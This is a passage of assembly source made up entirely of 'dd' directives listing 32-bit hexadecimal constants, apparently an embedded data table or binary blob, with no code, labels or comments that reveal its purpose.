6047E004h, 29F3D51Ch, 405CEC2Fh dd 0DD5176Bh, 9013C52Fh, 245BF8Ch, 0F15063F8h, 0F4FAF010h dd 0F8A8EA3Dh, 9D687300h, 1029427Ah, 0E10B035Ah, 77A28A75h dd 0E4A091EAh, 0D921EF69h, 1ABAEFE7h, 442F1140h, 61FCB450h dd 95054B04h, 0BC50E8CCh, 9FD72F0Bh, 25C43F88h, 8144E447h dd 0C4D2AF61h, 1701FEA0h, 0E5A20B6Dh, 80E6F398h, 0FF1E2770h dd 83753Dh, 26537AE9h, 4215B279h, 1B92B105h, 0BCB8A717h dd 0A8101F08h, 51132C01h, 0E7F0B433h, 0A593391Dh, 0C744147Ah dd 291FF847h, 0C80067BFh, 0FE2BA2EBh, 0A84218B6h, 0A4880597h dd 141ED838h, 0EADC38CEh, 0BF00976Dh, 0F9AC24C6h, 2D99E003h dd 0FB591EA6h, 341414FCh, 87440477h, 94E3375Bh, 0BC40EC9Ch dd 0EAFC8C5Bh, 0D89DEB00h, 11E0D690h, 0D8C754BFh, 0A818B549h dd 48310730h, 4E6BF196h, 0F8DACC02h, 8C051C7Ah, 0ABB6E308h dd 0ACB804E9h, 2518AF00h, 1FCB373Bh, 708060F4h, 3362305Eh dd 0BCBC1B24h, 2719D404h, 80E4DA57h, 4B2D7774h, 9085E2Fh dd 642AE1A8h, 749E022Ch, 6C817B92h, 6B5027C8h, 2FF5A807h dd 5E703279h, 87465644h, 287D960Bh, 7E04A871h, 10AC4016h dd 0ADDB5202h, 0A4D4E08Eh, 0C4486525h, 389C608Fh, 85E437h dd 0BDF0F497h, 4BCCF15Eh, 44F9B9C0h, 0F6DC4DA7h, 9C17809h dd 29B3141Dh, 0E35E7800h, 62975BE9h, 91E41DA4h, 0C7E6819Ch dd 0EC20E505h, 0A0674BCFh, 19B5E92Ch, 0BA1078C8h, 0F677D9FBh dd 1018384Dh, 0E07AB133h, 0FB81044Ah, 87F3C877h, 0A849E5CCh dd 8BDBC8C4h, 0C0509B11h, 5CA5100Fh, 41289853h, 0F824BFBAh dd 82B0C048h, 0BE1C636Bh, 4700E602h, 3282BCDh, 38009FC7h dd 2E94F080h dd 0BC809B5Ah, 0FA61D9C3h, 6B934004h, 0CB9328A3h, 2DEF36D8h dd 54E2D74Bh, 0E2561E75h, 0AFA80127h, 0A0AA2BD4h, 0E320B4D0h dd 20509826h, 1505A54Bh, 0F42AD51h, 160BB0E9h, 3C0B40E4h dd 61359CDAh, 14B4F090h, 406B28BBh, 94F1506Ch, 2FB10968h dd 0CCF037B7h, 0D4114B0Eh, 132E8751h, 7E096B6h, 0A770147Dh dd 95DB444Eh, 0D7480E8Ch, 37C20E90h, 932790C4h, 5F176444h dd 0DB403D49h, 4740F06h, 126B713Ah, 0BDB72CB2h, 20D73978h dd 14131FCBh, 0A4F8AA3Fh, 27CC0EA8h, 9669CE42h, 8670C45Bh dd 0F9FE6D9h, 0EAB2A3FBh, 0E703C681h, 0C0492B9Ah, 9F80F004h dd 0AB0330B7h, 0D8085D72h, 61C7E32Eh, 0E4B858EBh, 0B7FC27A3h dd 94806575h, 0B53D5C8Dh, 800ADC07h, 0A0E8B491h, 58C9CD1Ah dd 3784A789h, 49221B98h, 0C4AFF1E0h, 0B0A89777h, 3141CF5Ch dd 57A5E8DFh, 6198C9D7h, 0B84EC072h, 96809C9Bh, 143AA01Fh dd 2CC4181Fh, 87701A98h, 79CC8155h, 15700A4h, 49848983h dd 1B0D001Ch, 690F557Bh, 0AC1CDBFDh, 5CC79463h, 580B07CBh dd 8BF24E6Ch, 0C09DC81Ch, 5C579653h, 78FDA202h, 5DA4299Eh dd 0A591609Dh, 1B2E1881h, 2AB7E973h, 0B834F430h, 0F6880035h dd 8FF5A32Fh, 0DC004263h, 0D81F145Ch, 762301BEh, 73C008CDh dd 46749622h, 2B7B00B8h, 5FBCF163h, 506895CFh, 8B0FBAE0h dd 2F063A99h, 59964BD8h, 71CD590Ch, 10DC50A2h, 0B101FFC9h dd 7619327Eh, 23AA12Eh, 8A2C4F88h, 9E2A4911h, 5953C908h dd 0E1C080A0h, 47AD69E2h, 9229596Fh, 9CC8608Bh, 224594C0h dd 2E9201D2h, 573C1C7Ch, 11B88256h, 57BE07DFh, 0F72CC001h dd 0E2546310h, 0A5363098h, 977D632Fh, 808311B4h, 6566B4DBh dd 0F19707B9h, 9943B711h, 51BCABh, 7C544944h, 8C83E8h dd 2644372h, 32C5EEB8h, 28837704h, 0BAA6C0Fh, 245B1620h dd 57716A9Ah, 6B011CB7h, 0A3F3BE88h, 45E7Fh, 2B58E3Eh dd 560074B3h, 0A905F97Bh, 9D13BF11h, 1076B812h, 6C164E41h dd 0C4D047D2h, 0CD2960BDh, 48C7028Eh, 0A90EA742h, 0D1E0A063h dd 0CB12442Dh, 64F1C00Fh, 5E9B10F0h, 0C03CDA72h, 0A7854637h dd 0A21F30B4h, 0A87068C8h, 4A407C96h, 0AF989C6h, 88AEBF6Fh dd 408708B0h, 0B3BD093Fh, 0A4BCF9F4h, 2AEF0894h, 2508462Dh dd 8CC81799h, 0B320CCAFh, 461800C6h, 102D1193h, 5C25F1D3h dd 0CE9C6D21h, 65F91B61h, 4CB6F832h, 0CDE63C01h, 23815C0Fh dd 894F4908h, 45A56C47h, 481C87Ch, 5154025Fh, 5ED8F419h dd 6EB8A906h, 0C77111F0h, 81A6E628h, 0E5FA4840h, 18829C7h dd 0C6FE0B4Eh, 5441F7C0h, 6B1254h, 0E1BB5184h, 0E00BCD4Ah dd 78185EF1h, 0E99A0F64h, 0F336173Bh, 309EB2A0h, 95CF7A5h dd 1A4904F0h, 94B41199h, 0FE8E02E1h, 17CB57D5h, 9D25D876h dd 85BA11D8h, 0E0028935h, 7CA6B0F3h, 0FA48F424h, 83733C25h dd 17CA8029h, 38995876h, 1783C310h, 4C20E886h, 61A30328h dd 1E4E18B4h, 0A22E1097h, 8A2730CDh, 61F9F141h, 522D9825h dd 4DCF2AD0h, 1B7800D0h, 0D3886C8Fh, 0EB0092D9h, 0CD47CC41h dd 9DAEF417h, 0BF912C9Dh, 317A0283h, 6EF829E8h, 147B8101h dd 0AB133537h, 806C9B2Bh, 20C2847Dh, 4DF204C5h, 0AB1F3CA5h dd 92B4D415h, 8FF290B2h, 7E82F030h, 6D943059h, 0C8A22A3Ch dd 9D531B13h, 602FA044h, 0A448E0F9h, 0A93AE712h, 452E116Ch dd 9F1D127Bh, 0B8D8FD1Ah, 2DB20002h, 480E6415h, 20A027A2h dd 3C13C7C1h, 0A8A8C695h, 7337E7C0h, 0B75BA5F0h, 788E5094h dd 64C08388h, 0AC2370h, 0DD103A54h, 499EB812h, 7906B22h dd 0A71D85CBh, 0C35EB419h, 7E4B420h, 0CCE29209h, 48EC4076h dd 0DC975488h, 197E0022h, 6890E230h, 6D00FB14h, 6B24D537h dd 24A7CDBFh, 32D4016h, 110B5830h, 5CFF7400h, 0B7B594C3h dd 0BCAA0401h, 0D27FD72Fh, 2CDE1F98h, 88E9CF45h, 34859900h dd 0ABDDDB9h, 9E3FC500h, 0EBE2D581h, 0CA6F215h, 52CCE658h dd 16016431h, 2E349CB9h, 7CDC23BDh, 0B09E387Eh, 0C7D06F82h dd 9A55FE83h, 50507B50h, 1F00B593h, 58F78F1Dh, 251B2834h dd 48A2BCEFh, 0A0818220h, 0D6B48FFBh, 4D50FC58h, 0F4ACC588h dd 9004E976h, 92C3FB28h, 0F41704D2h, 84BC4AE8h, 0EDBF2984h dd 0C0825EDCh, 0FCA2159h, 0C126E54h, 9BE72804h, 698A6806h dd 0A72C130Bh, 1F04785Dh, 1A09C30h, 0E7909B05h, 0CCC1D168h dd 913AEA53h, 0F9951650h, 0A100E8A3h, 9B4474E1h, 530E4891h dd 40CC50EBh, 4397D5B8h, 0F574E8h, 0CF164042h, 0B18A6744h dd 29585D33h, 182140B0h, 49C96140h, 6B50A8C1h, 4BD05436h dd 23E42F28h, 9A1600BAh, 141270A1h, 51328727h, 189BD9D4h dd 21DB4E3Dh, 0FCC2D7FCh, 94B574C1h, 10324344h, 0FEF2AB7Fh dd 0C4B8451Ah, 110460B8h, 164F1F1Fh, 0BE91C750h, 27DF91E6h dd 922C2494h, 0FCC412B5h, 0CD02DCFCh, 0A5087067h, 4568D641h dd 794ED88h, 343C6D56h, 0B3220CF0h, 0D2590BFFh, 4804E9E7h dd 87524072h, 0E0B1C4h, 0AAD116FDh, 91EB41A7h, 544497h dd 821B2DB5h, 1AAB341Ch, 0AC06102Ch, 1FB84674h, 0E41EE9A6h dd 0F4B25F93h, 0AC35007Ah, 0F7E2EBBCh, 410E05AFh, 89BBC27Ah dd 4F705407h, 3BE8B576h, 0BD88BC8Eh, 47F3CFC0h, 96E4EFCAh dd 12979872h, 1B7031Bh, 6129E710h, 7A905440h, 0EFE0034h dd 0F31C06FDh, 969EAF6h, 8D2F2B2Eh, 4676C0D6h, 5500775Bh dd 0E6661D8h, 0B32AA2B6h, 2F780274h, 0F45CD4C6h, 0BC90F017h dd 17298F03h, 0BB269Ah, 0F6DB2F8Bh, 0AE00CE68h, 0C52E3CA6h dd 27241DE1h, 14EA35B7h, 1548A077h, 78C8A857h, 9845B558h dd 0F2609AE4h, 1E09618Eh, 0F99EE014h, 189ED938h, 0B36D00D8h dd 4B1D09E5h, 2A252FE7h, 0F16851B8h, 71185Ah, 0E66323F9h dd 0BC5935E7h, 149C14B8h, 0D4F800DCh, 8103AF50h, 3B27B72Fh dd 0A1B4E5A7h, 188371A0h, 15EEAF1h, 0DF5ACD1Dh, 2065FBD4h dd 0A62714F8h, 806CB723h, 5E277F17h, 54142FE6h, 0E206B51h dd 0D6FAE50Bh, 0A43CA8A1h, 488C83BCh, 0A0FEF6Dh, 0B4F790BCh dd 320FA110h, 2003CD70h, 479F43DCh, 0FEB77DF1h, 0FF141213h dd 0A1401658h, 0F2A06378h, 0DF08308Fh, 0A00E2F00h, 0A13E84D2h dd 20F4907Bh, 0BA048D77h, 0EFDEA7FDh, 55B2FCC7h, 510D118Ah dd 3A443B84h, 1CDF7488h, 8097D43Fh, 0BE3CD363h, 7F0BB1CDh dd 9115A1FEh, 30796964h, 1A180100h, 4350F1B1h, 177FA602h dd 5F49CB81h, 4C29B000h, 0B0A7D67Dh, 3C608F44h, 1B00BA62h dd 749CEF08h, 5488E510h, 0EE0B491h, 516E4738h, 6C3DA2A0h dd 0FDEA1DFAh, 3C4C612Ch, 0E819E7DCh, 5C2695D2h, 0E1AD180Bh dd 9900BC20h, 0D499DF52h, 0D448F449h, 0E14B951Dh, 8C566BC0h dd 0DCEBA799h, 1C15068h, 0C915E46h, 0C22ACA9Ah, 884948A8h dd 52D87097h, 2F2DEC88h, 100E632Bh, 0AC1CBD76h, 714907D3h dd 0CF86A15Eh, 8C9CE890h, 0A0AD8905h, 0ECA8AB67h, 0BCBCBCB5h dd 0AD008C82h, 9B0F2366h, 182FF25Fh, 58A653DFh, 0B66443F3h dd 10CB0E80h, 40C1B9C8h, 0B2715AAFh, 88463430h, 0EC5D2FCAh dd 32E0B34h, 0E058E3EFh, 0A0CFF12Bh, 16EB7E68h, 0B809586Eh dd 0FE5E20C8h, 449297CFh, 2270387Bh, 8C9200C1h, 0B6B59E9h dd 2450A223h, 6801113Ch, 58E1218Eh, 182CDC2Eh, 0F21CA297h dd 6495308Dh, 0DD578700h, 4DB6D00Bh, 0B16C4A0Fh, 0C8F4D67Ch dd 156025DEh, 1D0ABC50h dd 8CEB8A68h, 26361F00h, 99BFF196h, 5955833Ch, 0AB808338h dd 51E7A74h, 3549EE2Dh, 2518D6F0h, 2170307Bh, 0AFFF19F5h dd 0E76888F4h, 1362711Ch, 7423EC04h, 0F8B92783h, 411A876h dd 9DD3A12Bh, 0C030FE18h, 50AB5C1Dh, 945F02Dh, 56E158D0h dd 0F640D85Eh, 2F2408h, 0CC6F9305h, 0E0B853Dh, 111A5100h dd 77A2499Bh, 3181FF6Bh, 7D3EB9A1h, 0ABCF7086h, 14F94209h dd 354B7EAh, 0ADF0E301h, 6EE2F907h, 0BE83842Dh, 2EA3F036h dd 50C4B59Dh, 38037DF4h, 342AAB16h, 4B96C9BCh, 2E3A8C0h dd 2EFB4D9Ah, 7C41487Ah, 5E47317h, 9EC7E390h, 285E0800h dd 90FCDCCh, 91AFDF11h, 5B20AC5Ah, 2FDCF237h, 9022CB93h dd 0DCDEA895h, 696BE601h, 0ACC9B9F3h, 67169980h, 26EB37FCh dd 20188604h, 9D8164F6h, 0B03C93A5h, 8C8DBCh, 55949F1Eh dd 1070B675h, 2317512Dh, 0C8FB4658h, 0B2AF3C95h, 20B0928Ch dd 907EA484h, 953FC422h, 1BC09C4Dh, 799AC44h, 0C350A5C9h dd 10A2D2CEh, 0F103466h, 0FE0F86ACh, 89AB424Eh, 7F0328DAh dd 0ED0CCA95h, 617CA0A5h, 731C016Bh, 14991D45h, 0BC2992A7h dd 5A104821h, 5C48207Bh, 9402F1B5h, 6DEC3FA6h, 0EFC0F734h dd 3890E344h, 2D30953Ch, 5C509017h, 5BCF01A8h, 9521401Ah dd 18022C8h, 482E866Bh, 5061ECDFh, 0EC16A404h, 81BC44A8h dd 6130008Ch, 0EECD47B5h, 4C4B808Fh, 2810E0CBh, 0A2E51DF2h dd 0E034AE40h, 0BCB72C93h, 0B4440168h, 2F47F0ACh, 0BC23C46Bh dd 4B9C900h, 9AEE6B3h, 4C8B3328h, 791A10DEh, 0F0F493C6h dd 0BC54D32h, 0F3148BBBh, 747A7000h, 31C9B6D1h, 13E0789Fh dd 0F83BFBC0h, 0E9E50D84h, 0B40071DBh, 93A43C3h, 0B413E45Dh dd 3BF05053h, 78FE07ADh, 75C7A535h, 23CC3EA9h, 0EFA10182h dd 0E465B85Fh, 0C64A951Fh, 22997847h, 54CF792Ch, 701D44Eh dd 76A94D7Fh, 69C300D9h, 9D047D89h, 0A50F3056h, 770C0FC2h dd 0C8045C8Bh, 0D45FFFDFh, 608CC0CBh, 0B44B036Ch, 80C44250h dd 40F4040Bh, 0E7712700h, 0E64978F2h, 679DC058h, 0F0B06E0Eh dd 7BFB1328h, 69CADB3h, 99CFE32Eh, 7A650210h, 9E0F2BC0h dd 7E5C00Eh, 5529706h, 155147DDh, 0F2C45765h, 5FC7007Ch dd 9D66B34h, 0A47304DDh, 0C169264Eh, 1C1F778h, 3982AB22h dd 1051E72Eh, 5080905Ch, 7E6B44CCh, 808B0043h, 0D9C34AC4h dd 0E6000AFEh, 887176E1h, 50ED29h, 0D72E5C89h, 9B2C2FCDh dd 0B87480AAh, 1C7E1182h, 0F020D514h, 0F0C0BE95h, 53B72F12h dd 1199C446h, 9D917779h, 0CD4A8C60h, 0E415ED02h, 0E23C1D40h dd 6EE05C2Dh, 892700D1h, 593F04DBh, 49E061F3h, 2B6FE3B6h dd 92691881h, 64BA5017h, 5001E9Dh, 0C7E56855h, 0DEBF3BE3h dd 2C1DC428h, 6878E85Bh, 0A032EDA0h, 91F45E15h, 0BE5A02B1h dd 69E437C5h, 0AC4193B8h, 1301AEC3h, 2F784024h, 965D8BCFh dd 78A34EF8h, 6ED7C10h, 94DC0F42h, 0F8F16048h, 0BE32DD0h dd 0E0988962h, 5C4C72h, 1A3E1B71h, 5B89FD6Bh, 4C7F7012h dd 0D64B6609h, 0C9C06074h, 75E43431h, 49D65812h, 9BC88C8Eh dd 7C114DC0h, 0A0701314h, 0AC10EDEAh, 674FEBDh, 9094B82Dh dd 0ED9F480Eh, 0D16664B0h, 6380716Ch, 3082A26Ch, 8A01D2BAh dd 2956FD61h, 686340FEh, 1001F02Fh, 2F82794Ch, 0A1AD0C1Fh dd 10A1E4A4h, 0A204522Ah, 431D046Ch, 4EF7F34h, 0F8A3DF21h dd 299F12FCh, 9A8904BCh, 0AF27E0E6h, 7640A9BCh, 8F780130h dd 2533132Eh, 5CC5E448h, 0A09F44B8h, 0E62E58C0h, 96801BCDh dd 49C708E7h, 19320CDCh, 79DC79F9h, 4B5D1898h, 0D4DCC844h dd 0C849BC00h, 3E4F6575h, 50360003h, 0EE6A8F02h, 97363E3h dd 5CE880BFh, 0CB1599E0h, 0D00391E9h, 0B858F04Bh, 71B869DCh dd 49F04498h, 82A084B6h, 0B46BB909h, 36ACC8FDh, 0A00067Eh dd 3AEBC42Ah, 0F05995CDh, 0CF1309FEh, 0AC24E13Bh, 1C9147ADh dd 0C70F3340h, 0F55B026Dh, 77E9D534h, 3E037DDh, 1D5AAFA2h dd 4C351BB0h, 0CB44090Eh, 10A0731Fh, 0BF2909F0h, 0E0D6C0F7h dd 941942h, 9FE02FC8h, 432C9C97h, 0D49A4A45h, 84445B80h dd 0B12546FEh, 1018E50Dh, 2CCAD29Fh, 92C0BFC8h, 16C7C617h dd 0FC12DC49h, 330B1080h, 8078CC2Eh, 0E35261A4h, 0FB7630C9h dd 8BFCC301h, 9A6B16A7h, 944DE450h, 0CF6D0013h, 4C640DE6h dd 0BA008B0Ch, 0FB0AF00Bh, 0A047F2A1h, 819618A8h, 0C0885BF1h dd 488C7D69h, 32DC2D44h, 0D776CC64h, 0DA51CE00h, 0F96F1650h dd 17CB1C61h, 0F2707098h, 0C32FCC4Ah, 1120170Eh, 0DA7D80BFh dd 12DB814h, 1C77D5EFh, 4724873Ch, 97633294h, 30704CFBh dd 953409B5h, 947A095Dh, 983AA645h, 0EC0F6698h, 8702A48Bh dd 318CBBFh, 480B14A5h, 0E8A2885Eh, 54299203h, 60A8E739h dd 1D0C58D3h, 2851375Ch, 4BE00B14h, 5C7044E1h, 98751103h dd 4ACFC0h, 5BAC7241h, 0D867BABh, 253C0402h, 646B5CFFh dd 0E131001Ch, 55418C4h, 9A5CF0A3h, 0A4DC4F0Ch, 111800E3h dd 527602EDh, 7258DF39h, 8C81EC4Ch, 927ABAFEh, 0D76C5C1Fh dd 0D8E489D2h, 7ADE07Dh, 0D36D7FECh, 0F94360C6h, 1715CCC8h dd 6C802Dh, 0B595BADEh, 0FBDCB3Ah, 0F1ED2189h, 569CCA24h dd 2F80B8ECh, 0EB47B7CDh, 7375F601h, 611C3D0Bh, 4CE5D0h dd 247817C8h, 0F9690503h, 5344B312h, 2CFC9C52h, 4B40BCD2h dd 3910A48Ch, 0AF845DEDh, 0B1E66B4Ch, 74302FF4h, 433B744h dd 1DE3DF2Eh, 0FC56EA14h, 7AF68000h, 4AD1EC50h, 0DBB05790h dd 45BD85D0h, 99E4E4C1h, 69FB2E00h, 0CCB3DD4Fh, 17305DB2h dd 8C3A01D0h, 0BB975AEDh, 94302F43h, 948BE390h, 0B4FAA7ACh dd 2B182DF4h, 0F1998BBh, 0C99B4B14h, 0BC143C24h, 3F1F8C83h dd 0DA8153ACh, 0D3E32832h, 116027FFh, 97BA4090h, 0EF1C7C0Fh dd 0B0802065h, 92D51DAh, 7BC33766h, 766BF0D6h, 221ED428h dd 2613C22Eh, 0E5254A4h, 95AEA1E9h, 88C0B622h, 0A6EF2876h dd 98C9EAC7h, 0E05408B8h, 1380A3F0h, 15C58816h, 0EDE50023h dd 7CAB613Ch, 40E0F665h, 0A738939Dh, 40047E7Bh, 58B12F19h dd 5CAFD90Eh, 1177E08Ch, 3B104379h, 0B9BFCAC6h, 0FF03734h dd 0EDF27A20h, 1B8C4h, 4DF98737h, 71951060h, 0CBFB283Ch dd 0DBCC7009h, 5C982428h, 8B00BD46h, 5133B6A5h, 0DB258F71h dd 0B06416h, 60A91F21h, 0E9ED3C0Ch, 0A35C5E00h, 48D00215h dd 0C0FC03F1h, 1949E65Dh, 7CC0F093h, 201FE43Eh, 2E0058E3h dd 0FD21487Fh, 0D9E84E69h, 0AC782CB0h, 0B1018C9Fh, 5365C8D9h dd 44602BF6h, 0F20F8394h, 7269CEBEh, 0E44B84E2h, 90A42F00h dd 9DC508A0h, 26141388h, 91F44ABBh, 0B811015Dh, 544197ADh dd 2148CB3Ah, 54DA610Dh, 0A4A0DC30h, 51605C82h, 8C190B48h dd 0A0C929E1h, 0F97E1821h, 70E149D2h, 4060302Eh, 2F09511Dh dd 91C5E7BFh, 0DC3EDF88h, 0AF43C4B8h, 0A078A64Eh, 256120E1h dd 1CE532BEh, 0B6D2A110h, 0FC09A01Ch, 52BB3DE1h, 56A6A0BDh dd 900AC5Ch, 90534E9Fh, 0DE529980h, 5C7D181h, 3BE9325Ah dd 8016FED3h, 0BFB8A8FDh, 0FDA7E107h, 47424B84h, 0C01875DBh dd 1F03566Bh, 0EDE4EBF5h, 0A791A046h, 2CB31741h, 54C8B067h dd 9957890h, 0DCD87E20h, 0CC8BB300h, 9ECD744Eh, 7FAA03B8h dd 0FA2CE10Bh, 2EDFE3C9h, 726BD840h, 95E86045h, 0D72FB490h dd 44095F4Fh, 5270D61Dh, 9B0B57Dh, 6C01F6C5h, 0F8EE8476h dd 7F5C1D95h, 0C7B7188Ch dd 9FC54469h, 9BC4B067h, 7A577A61h, 0B8D7C88h, 0B2A8E5D1h dd 92532802h, 0D0811A05h, 442E5D73h, 2A2F3D4h, 0E8E82B13h dd 99CF95E4h, 89E92ECh, 244296ECh, 0D711215Fh, 3F9425FBh dd 0EBB7E881h, 781FCA00h, 44449B4Bh, 0A0CE9482h, 0F6C1BE88h dd 0F0CB5552h, 0B88C405Ah, 4490453Ch, 0A54C01C4h, 555B3Ch dd 0B188102Fh, 19BBD184h, 989CD6C0h, 0C25D20FCh, 47409095h dd 0EAB703Eh, 56D910C0h, 0B2CDF000h, 0A0A2284Ch, 0D344AB7Fh dd 0F09870A8h, 8F6B4FF2h, 0E4E8E540h, 4E3F6087h, 0C8ED5E5Ah dd 0C600FA54h, 0A34980DFh, 98227E6h, 0E9873C7Eh, 3BCF7830h dd 0E0A7C04Eh, 0AC90BB2Fh, 7F4C4D95h, 61B10482h, 40FB016Fh dd 10AB5284h, 1A2DD926h, 589073EAh, 7C0ABD58h, 4C0528E1h dd 8CB9CF44h, 33BF493Ah, 7CD9F7AFh, 15368880h, 4BBF9350h dd 0C8D08CB4h, 0A89C1F17h, 0ABE3CC45h, 583018E1h, 84997CC0h dd 54067244h, 2938F1h, 46F4D196h, 981E7680h, 116F1B07h dd 1270552Bh, 58A23294h, 17898427h, 0E013CC70h, 2CACE148h dd 0AD76E38Fh, 625E006Ch, 88A6B27Dh, 541100BCh, 0CABD9DD1h dd 242F0BFAh, 0C464F9h, 0EBC7C8BEh, 4C018477h, 973DFA3Fh dd 95023471h, 7A16511Ah, 0FEF10044h, 6B10D5FFh, 0CC5B272Bh dd 9BF018B0h, 284101F4h, 35BAD31Bh, 0ECC42F04h, 88748FAAh dd 71A0CF83h, 0F470E05Eh, 0DC4A6600h, 5DFDC094h, 0AE1804D7h dd 0D4072B28h, 0A431EFB4h, 0B844BC2Fh, 0B9F457BFh, 2D6B82Ch dd 0CF8D6D66h, 0F8783F90h, 0D1DF2F2Dh, 0F5C0958h, 83A66425h dd 4104FFACh, 0E2CD4A9Dh, 0A6D7ECB9h, 0D575A0A0h, 0DB2B00C8h dd 14AA3829h, 10067168h, 6BA48BDDh, 0DCE4BC70h, 80E6290Eh dd 62407DEDh, 1C1786ADh, 78234C9Fh, 0BD88E881h, 0F9909F75h dd 6D501D89h, 6DD1C0ACh, 90B76A51h, 2F609708h, 0A4511D68h dd 837164A1h, 98773518h, 0CD99EE01h, 58C3B910h, 0B398C03Fh dd 0D0AADF5Ch, 5F0E7859h, 6A28602Ah, 180521A7h, 120F0439h dd 4CBDFC27h, 844D9504h, 4A992140h, 0E5F10C18h, 7E09D93h dd 478A101Dh, 0E2175CC9h, 38C5690h, 0DF266C5Eh, 0E0CD4C0Dh dd 8030B82Fh, 4429CE6Bh, 72C020B3h, 99009B23h, 3C4AF69Ah dd 979003h, 0E24B5C26h, 8DB96251h, 0F750ECEEh, 2A2299D4h dd 1038BCAAh, 14130BBFh, 408C7C9Bh, 42CB3C1Dh, 4793D49Ch dd 6E5BD8B8h, 51007A30h, 2686AFF7h, 0C4EAFDC8h, 1D5F23D0h dd 4899CF84h, 2CE818C4h, 8C86BCh, 11068128h, 0BC826A7Dh dd 0B89DE132h, 4468C793h, 0FF7E608Ch, 4AB01E23h, 798C95Ah dd 0DCC13CF4h, 1502B33Fh, 3A8039F5h, 40DA7B0Dh, 0CC698082h dd 0E607C864h, 0FF9AD52Ah, 711CA180h, 533814D9h, 0C710D028h dd 0EA451C30h, 0C0A8CD67h, 0A54B56DEh, 95E52000h, 0FDE0E2B6h dd 0FCC09589h, 3C5E07C8h, 74BF84C5h, 302BFF80h, 0DA015A23h dd 0A0C3DC79h, 98C106C0h, 0C49B209Ch, 9294F317h, 31B184A8h dd 0AD880127h, 3F081982h, 7FE14F67h, 0A2E433A7h, 0E3F930BEh dd 9DCF0B00h, 99200C04h, 9DDC4B52h, 0A884293Ch, 0B6463967h dd 0DA4D5207h, 0C021646Ch, 5DE0C0FCh, 731618B0h, 8B9D041h dd 0FB003BB8h, 0E14DBD3Ah, 6BE95E7h, 4148FDC2h, 0E84A29A6h dd 0B45024F6h, 2B58410Fh, 70A22874h, 1D3087B2h, 0E50B0148h dd 3C5C277h, 3F547C9Fh, 6D0E2FEBh, 61376058h, 86121CE7h dd 0ECEC46CBh, 0DB97B780h, 2F0B7F3Eh, 0E9D7A3Ch, 3500D755h dd 540F2D07h, 458BC87h, 0E9155144h, 0EC2F0004h, 0AEA007CBh dd 1348B923h, 2130E09Bh, 1068324Ch, 0F31DBDA7h, 14CCA5D3h dd 62D4000h, 5CA1C558h, 0B05B3E53h, 51348B03h, 6925B31Fh dd 59A0C889h, 0EEAB0018h, 3CF067Ah, 7C00E34Dh, 4853BEDh dd 4B12BBh, 39475E0Dh, 644103A5h, 50827A5Fh, 0C29982ACh dd 58456E2h, 0EA772CEBh, 0B7004C1Fh, 3DE50AD0h, 0E85995B5h dd 0EBF1C380h, 302BCDEDh, 2819AB89h, 0D470B8B9h, 0F0D1684Ah dd 7FD8B613h, 0A70E0709h, 0B9F22072h, 18E08B55h, 32D11FCh dd 630ABBF7h, 75984916h, 5F4A6B26h, 174554F0h, 0AD8D882Fh dd 72645010h, 0BB931117h, 0F24EA0B2h, 274806B8h, 2530A708h dd 18542B2Eh, 0C529E782h, 685C66h, 5ED3C344h, 5074AE71h dd 68DE3209h, 0BD7870A5h, 0C7C36C40h, 44F046BDh, 2C379989h dd 0CBC4F9ACh, 18481CE4h, 8915CFF0h, 20976B4Eh, 4B2B28E8h dd 91149CBFh, 0FB90063Ch, 7C198B63h, 168F400Fh, 9943C705h dd 34F47015h, 3034EE98h, 0A2F05703h, 2F28C9CDh, 685F701Bh dd 396BF440h, 0E29D4EEAh, 0F7C7A02Ah, 1EB8756Fh, 5B8AFA5Bh dd 13E89988h, 957B31B7h, 82D980B1h, 6990EF19h, 0A04781Bh dd 8BC72F11h, 9812F491h, 2C0BE861h, 0F8C38088h, 0C6518146h dd 40FB3860h, 0C04E9550h, 706A24C8h, 0F332206Eh, 6044674Fh dd 8CE02B3Ch, 91902AFFh, 8996F8C8h, 1CD8600Bh, 9D33C2Dh dd 125C5C10h, 0ACACBD0Eh, 979B0186h, 0FBCFF28Fh, 7D07E607h dd 1403AF85h, 0D8743702h, 5B28E558h, 4E0F298h, 0D6CDE2CAh dd 5CF224E2h, 0F28430h, 558E6F46h, 1AE0D97Fh, 0A14A28B0h dd 0EDD39CF6h, 409A8ECh, 0FCB6E78Ah, 1401EABFh, 9AF82FCBh dd 6E2A5821h, 0C94F006Ch, 0AB3801AAh, 801C999Ch, 0E77DCAF7h dd 0B8EE07D6h, 2CA3CC14h, 64E35F98h, 673198A2h, 123189F0h dd 0A2183029h, 0EDA60220h, 62122590h, 60085C02h, 0B283B48Fh dd 843AF582h, 3F50B57Fh, 0D0C6E680h, 0B1B6A7E9h, 7B900B62h dd 0C5A860FBh, 10FF00C8h, 5811571Dh, 8DE5095h, 97E0553Ah dd 383A4019h, 8028C7Fh, 8BD4A744h, 301D55C1h, 7C808191h dd 77F1A3CFh, 20DC144Bh, 2B0F8941h, 0FA00DC6Bh, 0C617EB67h dd 0E012B03Dh, 14CC2B99h, 3CB344C7h, 0EE4D5720h, 8007252Bh dd 2B57FCC2h, 0F49CFECCh, 85487E71h, 0C8E45A36h, 8DD30005h dd 0CFB9DA7Ch, 0CF20BADh, 0A021CF4h, 0F25E009h, 4B50709Ch dd 4880CCF2h, 0AB4FA878h, 5E0BCC16h, 0DC985677h, 0FB626F03h dd 0F9E10AC9h, 0DC2B15F0h, 0BF8969C0h, 90C7D878h, 43588495h dd 956B5C1Dh, 0D7149C10h, 8674A4A8h, 8C71D491h, 7701A118h dd 9CB87193h, 5C206473h, 0CD441C9Eh, 0F24AFD0Fh, 0C4F04F64h dd 0C8329754h, 7D468D6h, 0CAE4D2EEh, 342D70EFh, 61BDAF29h dd 2E14D17Ch, 0EB9232Ch, 62C4E5B2h, 75D080B0h, 6E95C8E9h dd 56E894CCh, 0D8008F46h, 5DB0ADB6h, 3A009F5Ch, 0BF2E5E81h dd 4C341735h, 0A5F8A0ACh, 2E231F8Ch, 0B4880BCh, 5369A3E1h dd 0A4AC3926h, 0E4E04716h, 0B2BD035Ah, 4907159Fh, 2FCA680Ah dd 981CC40h, 0CBE9EE90h, 0B7C882Fh, 7C799D07h, 24E03D03h dd 30C5C76h, 4C42AE5Bh, 9B81AEDh, 0A000B9CAh, 0B43427FEh dd 52603086h, 0BEE264B6h, 906DF530h, 62B000A6h, 10E3B2AEh dd 3A9577BDh, 0C835DFF0h, 697C6200h, 24D7524h, 0E32890CEh dd 0C804BB33h, 0BEA874ADh, 647A1D8Ch, 67510032h, 9CF38082h dd 0B2EA740h, 0CBDD652Bh, 5DD1A0D1h, 0EA00E418h, 0F10797D3h dd 4A79B808h, 49CF289h, 